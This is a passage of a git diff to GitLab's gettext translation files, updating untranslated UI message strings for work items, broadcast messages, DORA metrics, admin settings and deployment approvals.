msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/bn_IN/gitlab.po b/locale/bn_IN/gitlab.po
index 3fa97ab8505..49abca0ddb4 100644
--- a/locale/bn_IN/gitlab.po
+++ b/locale/bn_IN/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: bn-IN\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:44\n"
+"PO-Revision-Date: 2023-01-10 06:48\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,7 +1550,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
